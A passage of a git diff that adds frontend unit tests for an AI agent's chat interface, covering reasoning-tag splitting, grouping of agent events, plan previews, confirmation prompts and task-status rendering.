+  // Mid-stream, an unclosed leading <think> is reasoning still arriving, so
+  // it is hidden until </think> shows up.
+  it("treats an unclosed leading <think> as reasoning while streaming", () => {
+    expect(
+      splitInlineThink("<think>The user is asking me to", { streaming: true }),
+    ).toEqual({ reasoning: "The user is asking me to", message: "" });
+  });
+
+  // Only the first block is peeled; a <think> that is part of the answer
+  // (after </think>) is preserved verbatim.
+  it("preserves a <think> that appears after the reasoning block", () => {
+    expect(splitInlineThink("<think>reasoning</think>\n\n<think>")).toEqual({
+      reasoning: "reasoning",
+      message: "<think>",
+    });
+  });
+
+  // Regression (reviewer): a <think> that is NOT at the start must be
+  // preserved verbatim — only litellm's leading reasoning block is extracted.
+  it("leaves a mid-message <think> reference untouched", () => {
+    const content = "You can wrap reasoning in <think> and </think> tags.";
+    expect(splitInlineThink(content)).toEqual({
+      reasoning: "",
+      message: content,
+    });
+  });
+
+  it("leaves an unclosed mid-message <think> untouched", () => {
+    const content = "See the <think> tag for details.";
+    expect(splitInlineThink(content)).toEqual({
+      reasoning: "",
+      message: content,
+    });
+  });
+
+  it("does not extract a <think> block that follows real message text", () => {
+    const content = "Here is an example: <think>not reasoning</think> done.";
+    expect(splitInlineThink(content)).toEqual({
+      reasoning: "",
+      message: content,
+    });
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/group-events.test.ts b/__tests__/components/conversation-events/chat/group-events.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b2bc99762f8070504528cf77ed6f9bfbbb899f85
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/group-events.test.ts
@@ -0,0 +1,495 @@
+import { describe, it, expect } from "vitest";
+import {
+  groupEvents,
+  isGroupableEvent,
+} from "#/components/conversation-events/chat/group-events";
+import {
+  ActionEvent,
+  AgentErrorEvent,
+  HookExecutionEvent,
+  MessageEvent,
+  ObservationEvent,
+  SecurityRisk,
+} from "#/types/agent-server/core";
+import { TextContent } from "#/types/agent-server/core/base/common";
+import {
+  ExecuteBashAction,
+  FileEditorAction,
+  FinishAction,
+  ThinkAction,
+} from "#/types/agent-server/core/base/action";
+import {
+  ExecuteBashObservation,
+  FileEditorObservation,
+  PlanningFileEditorObservation,
+  TaskTrackerObservation,
+} from "#/types/agent-server/core/base/observation";
+
+const makeBashAction = (
+  id: string,
+  thought: TextContent[] = [],
+): ActionEvent<ExecuteBashAction> => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "agent",
+  thought,
+  thinking_blocks: [],
+  action: {
+    kind: "ExecuteBashAction",
+    command: `echo ${id}`,
+    is_input: false,
+    timeout: null,
+    reset: false,
+  },
+  tool_name: "execute_bash",
+  tool_call_id: `call_${id}`,
+  tool_call: {
+    id: `call_${id}`,
+    type: "function",
+    function: {
+      name: "execute_bash",
+      arguments: JSON.stringify({ command: `echo ${id}` }),
+    },
+  },
+  llm_response_id: `response_${id}`,
+  security_risk: SecurityRisk.UNKNOWN,
+});
+
+const makeBashObservation = (
+  id: string,
+  actionId: string,
+): ObservationEvent<ExecuteBashObservation> => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "environment",
+  tool_name: "execute_bash",
+  tool_call_id: `call_${actionId}`,
+  action_id: actionId,
+  observation: {
+    kind: "ExecuteBashObservation",
+    content: [{ type: "text", text: "ok" }],
+    command: `echo ${actionId}`,
+    exit_code: 0,
+    error: false,
+    timeout: false,
+    metadata: {} as never,
+  },
+});
+
+const makeUserMessage = (id: string): MessageEvent => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "user",
+  llm_message: {
+    role: "user",
+    content: [{ type: "text", text: "hi" }],
+  },
+  activated_skills: [],
+  extended_content: [],
+});
+
+const makeFinishAction = (id: string): ActionEvent<FinishAction> => ({
+  ...makeBashAction(id),
+  action: { kind: "FinishAction", message: "all done" },
+});
+
+const makeThinkAction = (id: string): ActionEvent<ThinkAction> => ({
+  ...makeBashAction(id),
+  action: { kind: "ThinkAction", thought: "thinking" },
+});
+
+const makePlanObs = (
+  id: string,
+  actionId: string,
+): ObservationEvent<PlanningFileEditorObservation> => ({
+  ...makeBashObservation(id, actionId),
+  observation: {
+    kind: "PlanningFileEditorObservation",
+    content: [{ type: "text", text: "plan" }],
+  } as PlanningFileEditorObservation,
+});
+
+const makeMarkdownFileEditorAction = (
+  id: string,
+): ActionEvent<FileEditorAction> => ({
+  ...makeBashAction(id),
+  tool_name: "file_editor",
+  action: {
+    kind: "FileEditorAction",
+    command: "create",
+    path: "canvas.md",
+    file_text: "# Demo",
+    old_str: null,
+    new_str: null,
+    insert_line: null,
+    view_range: null,
+  },
+});
+
+const makeMarkdownFileEditorObservation = (
+  id: string,
+  actionId: string,
+): ObservationEvent<FileEditorObservation> => ({
+  ...makeBashObservation(id, actionId),
+  tool_name: "file_editor",
+  observation: {
+    kind: "FileEditorObservation",
+    command: "create",
+    output: "Created canvas.md",
+    path: "canvas.md",
+    prev_exist: false,
+    old_content: null,
+    new_content: "# Demo",
+    error: null,
+  },
+});
+
+const makeTaskTrackerObservation = (
+  id: string,
+  actionId: string,
+): ObservationEvent<TaskTrackerObservation> => ({
+  ...makeBashObservation(id, actionId),
+  observation: {
+    kind: "TaskTrackerObservation",
+    content: "task list",
+    command: "plan",
+    task_list: [{ title: "Task", notes: "Notes", status: "todo" }],
+  },
+});
+
+const makeAgentErrorEvent = (id: string): AgentErrorEvent => ({
+  id,
+  timestamp: new Date().toISOString(),
+  kind: "AgentErrorEvent",
+  source: "agent",
+  tool_name: "execute_bash",
+  tool_call_id: `call_${id}`,
+  error: "boom",
+});
+
+const makeHookExecutionEvent = (id: string): HookExecutionEvent => ({
+  id,
+  timestamp: new Date().toISOString(),
+  kind: "HookExecutionEvent",
+  source: "hook",
+  hook_event_type: "PreToolUse",
+  hook_command: "echo hook",
+  success: true,
+  blocked: false,
+  exit_code: 0,
+  reason: null,
+  tool_name: "execute_bash",
+  action_id: "a1",
+  message_id: null,
+  stdout: "",
+  stderr: "",
+  error: null,
+  additional_context: null,
+  hook_input: null,
+});
+
+describe("isGroupableEvent", () => {
+  it("groups regular action events", () => {
+    expect(isGroupableEvent(makeBashAction("a1"))).toBe(true);
+  });
+
+  it("groups regular observation events", () => {
+    expect(isGroupableEvent(makeBashObservation("o1", "a1"))).toBe(true);
+  });
+
+  it("does not group user messages", () => {
+    expect(isGroupableEvent(makeUserMessage("m1"))).toBe(false);
+  });
+
+  it("does not group FinishAction", () => {
+    expect(isGroupableEvent(makeFinishAction("a1"))).toBe(false);
+  });
+
+  it("does not group ThinkAction", () => {
+    expect(isGroupableEvent(makeThinkAction("a1"))).toBe(false);
+  });
+
+  it("does not group PlanningFileEditorObservation", () => {
+    expect(isGroupableEvent(makePlanObs("o1", "a1"))).toBe(false);
+  });
+
+  it("does not group markdown file-editor create actions or observations", () => {
+    expect(isGroupableEvent(makeMarkdownFileEditorAction("a1"))).toBe(false);
+    expect(
+      isGroupableEvent(makeMarkdownFileEditorObservation("o1", "a1")),
+    ).toBe(false);
+  });
+
+  it("still groups markdown file-editor view observations", () => {
+    const viewObservation = makeMarkdownFileEditorObservation("o1", "a1");
+    viewObservation.observation = {
+      ...viewObservation.observation,
+      command: "view",
+      output: "",
+      new_content: null,
+      content: [{ type: "text", text: "     1\t# README" }],
+    };
+    expect(isGroupableEvent(viewObservation)).toBe(true);
+  });
+
+  it("ungroups a markdown create observation when path comes from the action", () => {
+    const action = makeMarkdownFileEditorAction("a1");
+    const observation = makeMarkdownFileEditorObservation("o1", "a1");
+    observation.observation = {
+      ...observation.observation,
+      path: null,
+    };
+    expect(isGroupableEvent(observation)).toBe(true);
+    expect(isGroupableEvent(observation, action)).toBe(false);
+  });
+
+  it("does not group TaskTrackerObservation", () => {
+    expect(isGroupableEvent(makeTaskTrackerObservation("o1", "a1"))).toBe(
+      false,
+    );
+  });
+
+  it("does not group AgentErrorEvent", () => {
+    expect(isGroupableEvent(makeAgentErrorEvent("e1"))).toBe(false);
+  });
+
+  it("does not group HookExecutionEvent", () => {
+    expect(isGroupableEvent(makeHookExecutionEvent("h1"))).toBe(false);
+  });
+});
+
+describe("groupEvents", () => {
+  it("returns an empty list for no events", () => {
+    expect(groupEvents([])).toEqual([]);
+  });
+
+  it("requires minSize to be at least 1", () => {
+    expect(() => groupEvents([], 0)).toThrow("minSize must be at least 1");
+  });
+
+  it("emits singles when there are not enough actions in a row", () => {
+    const events = [
+      makeUserMessage("m1"),
+      makeBashObservation("o1", "a1"),
+      makeUserMessage("m2"),
+    ];
+
+    // 1 < EVENT_GROUP_MIN_SIZE (2), so the lone observation stays a single.
+    const result = groupEvents(events);
+    expect(result.every((item) => item.kind === "single")).toBe(true);
+    expect(result).toHaveLength(3);
+  });
+
+  it("groups even a pair of consecutive actions", () => {
+    const events = [
+      makeUserMessage("m1"),
+      makeBashObservation("o1", "a1"),
+      makeBashObservation("o2", "a2"),
+      makeUserMessage("m2"),
+    ];
+
+    // 2 == EVENT_GROUP_MIN_SIZE (2), so the pair folds into a group.
+    const result = groupEvents(events);
+    expect(result).toHaveLength(3);
+    expect(result[0]).toMatchObject({ kind: "single", index: 0 });
+    expect(result[1]).toMatchObject({ kind: "group", startIndex: 1 });
+    if (result[1].kind === "group") {
+      expect(result[1].events).toHaveLength(2);
+    }
+    expect(result[2]).toMatchObject({ kind: "single", index: 3 });
+  });
+
+  it("groups runs of >= EVENT_GROUP_MIN_SIZE events", () => {
+    const events = [
+      makeUserMessage("m1"),
+      makeBashObservation("o1", "a1"),
+      makeBashObservation("o2", "a2"),
+      makeBashObservation("o3", "a3"),
+      makeBashObservation("o4", "a4"),
+      makeUserMessage("m2"),
+    ];
+
+    const result = groupEvents(events);
+    // user, group(4), user
+    expect(result).toHaveLength(3);
+    expect(result[0]).toMatchObject({ kind: "single", index: 0 });
+    expect(result[1]).toMatchObject({ kind: "group", startIndex: 1 });
+    if (result[1].kind === "group") {
+      expect(result[1].events).toHaveLength(4);
+    }
+    expect(result[2]).toMatchObject({ kind: "single", index: 5 });
+  });
+
+  it("includes a still-pending action in the group", () => {
+    // Last action hasn't been replaced by an observation yet -> the group
+    // should still include it so the header can show a running indicator.
+    const events = [
+      makeBashObservation("o1", "a1"),
+      makeBashObservation("o2", "a2"),
+      makeBashAction("a3"),
+    ];
+
+    const result = groupEvents(events);
+    expect(result).toHaveLength(1);
+    expect(result[0].kind).toBe("group");
+    if (result[0].kind === "group") {
+      expect(result[0].events).toHaveLength(3);
+    }
+  });
+
+  it("breaks the group when a non-groupable event interrupts", () => {
+    const events = [
+      makeBashObservation("o1", "a1"),
+      makeBashObservation("o2", "a2"),
+      makeBashObservation("o3", "a3"),
+      makeUserMessage("m1"),
+      makeBashObservation("o4", "a4"),
+      makeBashObservation("o5", "a5"),
+      makeBashObservation("o6", "a6"),
+    ];
+
+    const result = groupEvents(events);
+    expect(result).toHaveLength(3);
+    expect(result[0].kind).toBe("group");
+    expect(result[1].kind).toBe("single");
+    expect(result[2].kind).toBe("group");
+  });
+
+  it("respects a custom minSize", () => {
+    const events = [
+      makeBashObservation("o1", "a1"),
+      makeBashObservation("o2", "a2"),
+    ];
+
+    const grouped = groupEvents(events, 2);
+    expect(grouped).toHaveLength(1);
+    expect(grouped[0].kind).toBe("group");
+  });
+
+  it("hoists an action's thought into a separate item and starts a new group", () => {
+    // First three actions have no thought, then a fourth action carries a
+    // thought, then two more actions follow. The thought should break the
+    // first group and open a new one starting with the thought-bearing
+    // action.
+    const a1 = makeBashAction("a1");
+    const a2 = makeBashAction("a2");
+    const a3 = makeBashAction("a3");
+    const a4 = makeBashAction("a4", [
+      {
+        type: "text",
+        text: "Let me check tests for the new conversation button:",
+      },
+    ]);
+    const a5 = makeBashAction("a5");
+    const a6 = makeBashAction("a6");
+
+    const events = [
+      makeBashObservation("o1", "a1"),
+      makeBashObservation("o2", "a2"),
+      makeBashObservation("o3", "a3"),
+      makeBashObservation("o4", "a4"),
+      makeBashObservation("o5", "a5"),
+      makeBashObservation("o6", "a6"),
+    ];
+    const allEvents = [
+      a1,
+      a2,
+      a3,
+      ...events.slice(0, 3),
+      a4,
+      a5,
+      a6,
+      ...events.slice(3),
+    ];
+
+    const result = groupEvents(events, undefined, allEvents);
+
+    // group(o1..o3), thought(a4), group(o4..o6)
+    expect(result).toHaveLength(3);
+    expect(result[0].kind).toBe("group");
+    expect(result[1].kind).toBe("thought");
+    expect(result[2].kind).toBe("group");
+
+    if (result[0].kind === "group") {
+      expect(result[0].events).toHaveLength(3);
+    }
+    if (result[1].kind === "thought") {
+      expect(result[1].action.id).toBe("a4");
+    }
+    if (result[2].kind === "group") {
+      expect(result[2].events).toHaveLength(3);
+    }
+  });
+
+  it("hoists thoughts attached to action events that haven't been observed yet", () => {
+    const events = [
+      makeBashAction("a1"),
+      makeBashAction("a2"),
+      makeBashAction("a3", [{ type: "text", text: "thinking out loud" }]),
+    ];
+
+    const result = groupEvents(events);
+
+    // a1 + a2 group together (>= min size of 2), then the thought is hoisted
+    // out before a3, leaving a3 as a single.
+    expect(result.map((item) => item.kind)).toEqual([
+      "group",
+      "thought",
+      "single",
+    ]);
+  });
+
+  it("does not emit the same thought twice when both action and observation are present", () => {
+    const action = makeBashAction("a1", [
+      { type: "text", text: "thinking out loud" },
+    ]);
+    const observation = makeBashObservation("o1", "a1");
+
+    const result = groupEvents([action, observation], undefined, [
+      action,
+      observation,
+    ]);
+
+    expect(result.map((item) => item.kind)).toEqual(["thought", "group"]);
+    if (result[1].kind === "group") {
+      expect(result[1].events).toEqual([action, observation]);
+    }
+  });
+
+  it("ignores empty thoughts", () => {
+    const events = [
+      makeBashAction("a1", [{ type: "text", text: "   " }]),
+      makeBashAction("a2"),
+      makeBashAction("a3"),
+    ];
+
+    const result = groupEvents(events);
+
+    // Whitespace-only thought should not break the group.
+    expect(result).toHaveLength(1);
+    expect(result[0].kind).toBe("group");
+  });
+
+  it("does not hoist a ThinkAction's thought (it has its own rendering)", () => {
+    const events = [
+      makeBashAction("a1"),
+      makeBashAction("a2"),
+      makeBashAction("a3"),
+      makeThinkAction("t1"),
+      makeBashAction("a4"),
+      makeBashAction("a5"),
+      makeBashAction("a6"),
+    ];
+
+    const result = groupEvents(events);
+
+    // ThinkAction breaks the run as a single (it isn't groupable), but no
+    // additional "thought" item should be emitted for it because the
+    // ThinkAction's body already renders the thought.
+    expect(result.map((item) => item.kind)).toEqual([
+      "group",
+      "single",
+      "group",
+    ]);
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/hooks/use-plan-preview-events.test.ts b/__tests__/components/conversation-events/chat/hooks/use-plan-preview-events.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..bd8ddf99fd7b7c4cda036a48cd0d73a780056f54
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/hooks/use-plan-preview-events.test.ts
@@ -0,0 +1,221 @@
+import { renderHook } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import {
+  usePlanPreviewEvents,
+  shouldShowPlanPreview,
+} from "#/components/conversation-events/chat/hooks/use-plan-preview-events";
+import {
+  OpenHandsEvent,
+  MessageEvent,
+  ObservationEvent,
+  PlanningFileEditorObservation,
+} from "#/types/agent-server/core";
+
+// Helper to create a user message event
+const createUserMessageEvent = (id: string): MessageEvent => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "user",
+  llm_message: {
+    role: "user",
+    content: [{ type: "text", text: "User message" }],
+  },
+  activated_skills: [],
+  extended_content: [],
+});
+
+// Helper to create a PlanningFileEditorObservation event
+const createPlanningObservationEvent = (
+  id: string,
+  actionId: string = "action-1",
+  path: string = "/workspace/PLAN.md",
+): ObservationEvent<PlanningFileEditorObservation> => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "environment",
+  tool_name: "planning_file_editor",
+  tool_call_id: "call-1",
+  action_id: actionId,
+  observation: {
+    kind: "PlanningFileEditorObservation",
+    content: [{ type: "text", text: "Plan content" }],
+    is_error: false,
+    command: "create",
+    path,
+    prev_exist: false,
+    old_content: null,
+    new_content: "Plan content",
+  },
+});
+
+// Helper to create a non-planning observation event
+const createOtherObservationEvent = (id: string): ObservationEvent => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "environment",
+  tool_name: "execute_bash",
+  tool_call_id: "call-1",
+  action_id: "action-1",
+  observation: {
+    kind: "ExecuteBashObservation",
+    content: [{ type: "text", text: "output" }],
+    command: "echo test",
+    exit_code: 0,
+    error: false,
+    timeout: false,
+    metadata: {
+      exit_code: 0,
+      pid: 12345,
+      username: "user",
+      hostname: "localhost",
+      working_dir: "/home/user",
+      py_interpreter_path: null,
+      prefix: "",
+      suffix: "",
+    },
+  },
+});
+
+describe("usePlanPreviewEvents", () => {
+  it("should return empty set when no events provided", () => {
+    const { result } = renderHook(() => usePlanPreviewEvents([]));
+
+    expect(result.current).toBeInstanceOf(Set);
+    expect(result.current.size).toBe(0);
+  });
+
+  it("should return empty set when no PlanningFileEditorObservation events exist", () => {
+    const events: OpenHandsEvent[] = [
+      createUserMessageEvent("user-1"),
+      createOtherObservationEvent("obs-1"),
+    ];
+
+    const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+    expect(result.current.size).toBe(0);
+  });
+
+  it("should return event ID for single PlanningFileEditorObservation in one phase", () => {
+    const events: OpenHandsEvent[] = [
+      createUserMessageEvent("user-1"),
+      createPlanningObservationEvent("plan-obs-1"),
+    ];
+
+    const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+    expect(result.current.size).toBe(1);
+    expect(result.current.has("plan-obs-1")).toBe(true);
+  });
+
+  it("should return only the last PlanningFileEditorObservation when multiple exist in one phase", () => {
+    const events: OpenHandsEvent[] = [
+      createUserMessageEvent("user-1"),
+      createPlanningObservationEvent("plan-obs-1"),
+      createPlanningObservationEvent("plan-obs-2"),
+      createPlanningObservationEvent("plan-obs-3"),
+      createOtherObservationEvent("other-obs-1"),
+    ];
+
+    const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+    // Should only include the last one in the phase
+    expect(result.current.size).toBe(1);
+    expect(result.current.has("plan-obs-1")).toBe(false);
+    expect(result.current.has("plan-obs-2")).toBe(false);
+    expect(result.current.has("plan-obs-3")).toBe(true);
+  });
+
+  it("should return one event ID per phase when multiple phases exist", () => {
+    const events: OpenHandsEvent[] = [
+      createUserMessageEvent("user-1"),
+      createPlanningObservationEvent("plan-obs-1"),
+      createPlanningObservationEvent("plan-obs-2"),
+      createUserMessageEvent("user-2"),
+      createPlanningObservationEvent("plan-obs-3"),
+      createPlanningObservationEvent("plan-obs-4"),
+    ];
+
+    const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+    // Should have one preview per phase (last observation in each phase)
+    expect(result.current.size).toBe(2);
+    expect(result.current.has("plan-obs-2")).toBe(true); // Last in phase 1
+    expect(result.current.has("plan-obs-4")).toBe(true); // Last in phase 2
+    expect(result.current.has("plan-obs-1")).toBe(false);
+    expect(result.current.has("plan-obs-3")).toBe(false);
+  });
+
+  it("should handle phase with no PlanningFileEditorObservation", () => {
+    const events: OpenHandsEvent[] = [
+      createUserMessageEvent("user-1"),
+      createOtherObservationEvent("obs-1"),
+      createUserMessageEvent("user-2"),
+      createPlanningObservationEvent("plan-obs-1"),
+    ];
+
+    const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+    // Only phase 2 has a planning observation
+    expect(result.current.size).toBe(1);
+    expect(result.current.has("plan-obs-1")).toBe(true);
+  });
+
+  it("should handle events starting with non-user message", () => {
+    const events: OpenHandsEvent[] = [
+      createOtherObservationEvent("obs-1"),
+      createUserMessageEvent("user-1"),
+      createPlanningObservationEvent("plan-obs-1"),
+    ];
+
+    const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+    // Events before first user message should be in first phase
+    expect(result.current.size).toBe(1);
+    expect(result.current.has("plan-obs-1")).toBe(true);
+  });
+
+  it("should exclude PlanningFileEditorObservation for non-Plan.md paths", () => {
+    const events: OpenHandsEvent[] = [
+      createUserMessageEvent("user-1"),
+      createPlanningObservationEvent("plan-obs-1", "action-1", "settings.py"),
+      createPlanningObservationEvent("plan-obs-2", "action-2", "use-add-mcp.ts"),
+    ];
+
+    const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+    expect(result.current.size).toBe(0);
+  });
+
+  it("should include only Plan.md observations when mixed with other file edits", () => {
+    const events: OpenHandsEvent[] = [
+      createUserMessageEvent("user-1"),
+      createPlanningObservationEvent("plan-obs-1", "action-1", "settings.py"),
+      createPlanningObservationEvent("plan-obs-2", "action-2", "/workspace/PLAN.md"),
+    ];
+
+    const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+    expect(result.current.size).toBe(1);
+    expect(result.current.has("plan-obs-2")).toBe(true);
+  });
+});
+
+describe("shouldShowPlanPreview", () => {
+  it("should return true when event ID is in the set", () => {
+    const planPreviewEventIds = new Set(["event-1", "event-2", "event-3"]);
+
+    expect(shouldShowPlanPreview("event-2", planPreviewEventIds)).toBe(true);
+  });
+
+  it("should return false when event ID is not in the set", () => {
+    const planPreviewEventIds = new Set(["event-1", "event-2"]);
+
+    expect(shouldShowPlanPreview("event-3", planPreviewEventIds)).toBe(false);
+  });
+
+  it("should return false when set is empty", () => {
+    const planPreviewEventIds = new Set<string>();
+
+    expect(shouldShowPlanPreview("event-1", planPreviewEventIds)).toBe(false);
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/messages-confirmation.test.tsx b/__tests__/components/conversation-events/chat/messages-confirmation.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7eb84db8aa77e7e2c9bc927e4f753d6db7b8c1b0
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/messages-confirmation.test.tsx
@@ -0,0 +1,100 @@
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { screen } from "@testing-library/react";
+import { Messages } from "#/components/conversation-events/chat/messages";
+import { useEventStore } from "#/stores/use-event-store";
+import { AgentState } from "#/types/agent-state";
+import { ActionEvent, SecurityRisk } from "#/types/agent-server/core";
+import { ExecuteBashAction } from "#/types/agent-server/core/base/action";
+import { renderWithProviders } from "test-utils";
+
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => ({ data: {} }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({
+    data: {
+      id: "test-conversation-id",
+      conversation_url: "",
+      session_api_key: null,
+    },
+  }),
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: () => ({
+    curAgentState: AgentState.AWAITING_USER_CONFIRMATION,
+  }),
+}));
+
+vi.mock("#/hooks/mutation/use-respond-to-confirmation", () => ({
+  useRespondToConfirmation: () => ({ mutate: vi.fn() }),
+}));
+
+const createBashActionEvent = (
+  id: string,
+  command: string,
+): ActionEvent<ExecuteBashAction> => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "agent",
+  thought: [],
+  thinking_blocks: [],
+  action: {
+    kind: "ExecuteBashAction",
+    command,
+    is_input: false,
+    timeout: null,
+    reset: false,
+  },
+  tool_name: "execute_bash",
+  tool_call_id: `call_bash_${id}`,
+  tool_call: {
+    id: `call_bash_${id}`,
+    type: "function",
+    function: {
+      name: "execute_bash",
+      arguments: JSON.stringify({ command }),
+    },
+  },
+  llm_response_id: `response_${id}`,
+  security_risk: SecurityRisk.HIGH,
+});
+
+describe("Messages confirmation prompt", () => {
+  beforeEach(() => {
+    useEventStore.setState({
+      events: [],
+      eventIds: new Set(),
+      uiEvents: [],
+      loadedConversationId: null,
+    });
+  });
+
+  it("keeps confirmation visible when the latest action is inside a collapsed event group", () => {
+    const events = [
+      createBashActionEvent("action-1", "echo first"),
+      createBashActionEvent("action-2", "echo second"),
+    ];
+
+    useEventStore.setState({
+      events,
+      eventIds: new Set(events.map((event) => event.id)),
+      uiEvents: events,
+      loadedConversationId: "test-conversation-id",
+    });
+
+    renderWithProviders(<Messages messages={events} allEvents={events} />);
+
+    expect(screen.getByTestId("event-group")).toBeInTheDocument();
+    expect(screen.getByTestId("event-group-toggle")).toHaveAttribute(
+      "aria-expanded",
+      "false",
+    );
+    expect(
+      screen.getByText("CHAT_INTERFACE$USER_ASK_CONFIRMATION"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("action-reject-button")).toBeInTheDocument();
+    expect(screen.getByTestId("action-confirm-button")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/messages-model-messages.test.tsx b/__tests__/components/conversation-events/chat/messages-model-messages.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..72fa22afb0e327a8b6869c1605624902b1b8cd02
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/messages-model-messages.test.tsx
@@ -0,0 +1,79 @@
+import { screen } from "@testing-library/react";
+import { beforeEach, describe, expect, it } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { Messages } from "#/components/conversation-events/chat/messages";
+import { useModelStore } from "#/stores/model-store";
+import { ActionEvent, SecurityRisk } from "#/types/agent-server/core";
+import { ExecuteBashAction } from "#/types/agent-server/core/base/action";
+import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event";
+
+const CONVERSATION_ID = "test-conversation-id";
+
+const makeBashAction = (id: string): ActionEvent<ExecuteBashAction> => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "agent",
+  thought: [],
+  thinking_blocks: [],
+  action: {
+    kind: "ExecuteBashAction",
+    command: `echo ${id}`,
+    is_input: false,
+    timeout: null,
+    reset: false,
+  },
+  tool_name: "execute_bash",
+  tool_call_id: `call_${id}`,
+  tool_call: {
+    id: `call_${id}`,
+    type: "function",
+    function: {
+      name: "execute_bash",
+      arguments: JSON.stringify({ command: `echo ${id}` }),
+    },
+  },
+  llm_response_id: `response_${id}`,
+  security_risk: SecurityRisk.UNKNOWN,
+});
+
+const makeStreamingDelta = (content: string): StreamingDeltaEvent => ({
+  id: "delta-1",
+  timestamp: "2026-06-12T12:00:00Z",
+  source: "agent",
+  kind: "StreamingDeltaEvent",
+  content,
+  reasoning_content: null,
+});
+
+describe("Messages model entries", () => {
+  beforeEach(() => {
+    useModelStore.setState({ entriesByConversation: {} });
+  });
+
+  it("renders model entries anchored to non-last events inside grouped runs", () => {
+    const first = makeBashAction("action-1");
+    const second = makeBashAction("action-2");
+    useModelStore.getState().show(CONVERSATION_ID, first.id, []);
+
+    renderWithProviders(
+      <Messages messages={[first, second]} allEvents={[first, second]} />,
+    );
+
+    expect(screen.getByTestId("model-messages")).toBeInTheDocument();
+  });
+
+  it("rerenders when a streaming delta is compacted under the same event id", () => {
+    const firstDelta = makeStreamingDelta("First");
+    const mergedDelta = makeStreamingDelta("First second third");
+
+    const { rerender } = renderWithProviders(
+      <Messages messages={[firstDelta]} allEvents={[firstDelta]} />,
+    );
+
+    expect(screen.getByText("First")).toBeInTheDocument();
+
+    rerender(<Messages messages={[mergedDelta]} allEvents={[mergedDelta]} />);
+
+    expect(screen.getByText("First second third")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/task-tracking-item-status.test.tsx b/__tests__/components/conversation-events/chat/task-tracking-item-status.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..621e3561c2e0880cf54d489dbe8e5d2b208731e8
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/task-tracking-item-status.test.tsx
@@ -0,0 +1,122 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { TaskItem } from "#/components/conversation-events/chat/task-tracking/task-item";
+import type { TaskItem as TaskItemData } from "#/types/agent-server/core/base/common";
+import { I18nKey } from "#/i18n/declaration";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: (namespace?: string) => ({
+    t: (key: string) =>
+      namespace === "openhands" ? key : `missing-namespace:${key}`,
+  }),
+}));
+
+vi.mock("#/icons/u-circle.svg?react", () => ({
+  default: ({ className }: { className?: string }) => (
+    <svg data-testid="todo-icon" className={className} />
+  ),
+}));
+
+vi.mock("#/icons/u-check-circle-half.svg?react", () => ({
+  default: ({ className }: { className?: string }) => (
+    <svg data-testid="in-progress-icon" className={className} />
+  ),
+}));
+
+vi.mock("#/icons/u-check-circle.svg?react", () => ({
+  default: ({ className }: { className?: string }) => (
+    <svg data-testid="done-icon" className={className} />
+  ),
+}));
+
+function createTask(overrides: Partial<TaskItemData> = {}): TaskItemData {
+  return {
+    title: "Review the implementation",
+    notes: "",
+    status: "todo",
+    ...overrides,
+  };
+}
+
+describe("conversation task status display", () => {
+  it.each([
+    ["todo", "todo-icon", false],
+    ["in_progress", "in-progress-icon", false],
+    ["done", "done-icon", true],
+  ] as const)(
+    "renders the %s status with its matching icon and title treatment",
+    (status, iconTestId, isMuted) => {
+      const task = createTask({ status, title: `${status} task` });
+
+      const { container } = render(<TaskItem task={task} />);
+
+      expect(container.querySelector('[data-name="item"]')).toBeInTheDocument();
+      const icon = screen.getByTestId(iconTestId);
+      expect(icon).toBeInTheDocument();
+      const title = screen.getByText(`${status} task`);
+      expect(title).toHaveClass("text-[12px]");
+
+      if (isMuted) {
+        expect(icon).toHaveClass("text-[var(--oh-muted)]");
+        expect(title).toHaveClass("text-[var(--oh-muted)]");
+      } else {
+        expect(icon).toHaveClass("text-[#ffffff]");
+        expect(title).toHaveClass("text-white");
+        expect(title).not.toHaveClass("text-[var(--oh-muted)]");
+      }
+    },
+  );
+
+  it("shows translated notes beneath the task title", () => {
+    render(
+      <TaskItem
+        task={createTask({
+          title: "Document the behavior",
+          notes: "Include boundary cases",
+        })}
+      />,
+    );
+
+    expect(screen.getByText("Document the behavior")).toBeInTheDocument();
+    expect(
+      screen.getByText(
+        `${I18nKey.TASK_TRACKING_OBSERVATION$TASK_NOTES}: Include boundary cases`,
+      ),
+    ).toBeInTheDocument();
+  });
+
